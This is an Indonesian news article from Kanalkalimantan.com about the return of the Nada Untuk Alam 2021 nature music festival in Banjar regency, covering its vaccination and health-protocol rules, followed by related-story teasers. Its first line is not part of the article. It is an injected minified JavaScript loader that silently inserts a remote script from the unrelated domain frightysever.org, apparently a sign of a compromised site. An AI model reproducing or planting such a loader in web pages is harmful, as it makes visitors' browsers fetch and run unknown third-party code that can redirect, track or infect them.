(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Setelah absen selama satu tahun terakhir, event bertajuk Nada Untuk Alam (NUA) dipastikan kembali hadir menyapa para penggemarnya di tahun ini. Pegelaran musik di tengah alam yang dipadukan kegiatan berkemah itu akan diselenggarakan di kawasan Tahura Sultan Adam Mandiangin, Kabupaten Banjar, dari tanggal 23 – 24 Oktober mendatang.
Kepastian diselenggarakannya NUA 2021 setelah dikeluarkannya surat rekomendasi dari Pemerintah Provinsi (Pemprov) Kalimantan Selatan dan izin dari pihak berwajib. Hal tersebut tentunya menjadi lampu hijau yang sangat krusial mengingat penyelenggaraan suatu acara di tengah kondisi pandemi saat ini kerap kali dilarang.
Ketua Pelaksana, Mojay, meyakini bahwa diselenggarakannya NUA 2021 dapat menjawab kerinduan para penikmat musik maupun pecinta alam di tengah suasana jenuh pasca merebaknya pandemi. Namun begitu, dirinya tak menampik akan tetap mengedepankan protokol kesehatan ketat selama pelaksanaan acara nanti.
“Tentu kita tetap akan mengedepankan protokol kesehatan. Dengan diselenggarakannya NUA 2021 ini, tujuan kita ingin kembali memperkenalkan wisata alam yang ada di Kalsel, khususnya bagi kaum milenial. Termasuk juga memperkenalkan produk-produk lokal dan menjadi wadah untuk silahturahmi antar komunitas,” katanya.
Baca juga : Nasab Mulia Nabi Muhammad SAW
Beragam konten acara sudah dipersiapkan untuk menyemarakan event NUA 2021. Mulai dari pertujukan musik, forest market (stand produk kreatif), stand up comedy, film dokumentasi, art instalation, yang nantinya akan disiarkan secara live melalui Youtube dan Instagram.
Untuk bisa hadir dalam gelaran NUA 2021, ucap Mojay, pihaknya telah menyiapkan pembelian tiket masuk yang dipusatkan di wilayah Banjarbaru dan Banjarmasin. Selain memiliki tiket masuk, para pengunjung juga diwajibkan memperlihatkan tanda bukti sudah divaksinasi, baik itu melalui kartu vaksin maupun sertifikat vaksin dari aplikasi PeduliLindungi.
“Nanti bukti vaksinasi itu ditunjukan saat masuk ke lokasi acara. Pengunjung wajib mengikuti ketentuan jaga jarak minimal satu meter, disipilin memakai masker dan membawa hand sanitizer. Kita harapkan pengunjung dapat mengikuti dan memahami ketentuan dari kami panitia,” tuturnya.
Informasi terbaru tentang pelaksanaan NUA 2021 dapat dipantau secara langsung di akun instagram “Morniiingart”. Sekadar diketahui, untuk jumlah pengunjung dalam gelaran NUA 2021 dibatasi untuk menyukseskan dengan protokol kesehatan yang berlaku.
Baca juga : 8 Jam Diperiksa Kasus Penipuan CPNS, Putri Nia Daniaty Tampak Kelelahan
Event Nada Untuk Alam atau yang kekinian disebut NUA telah berhasil mendapatkan respon positif di hati para penggemarnya dan kian meluas setiap tahunnya. Bahkan, NUA sendiri telah masuk dalam daftar kalender event nasional tahunan oleh Kementrian Pariwisata dan Ekonomi Kreatif (Kemenparekraf) RI. (Kanalkalimantan.com/al)
Reporter : Al
Editor : Kk
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
This website uses cookies.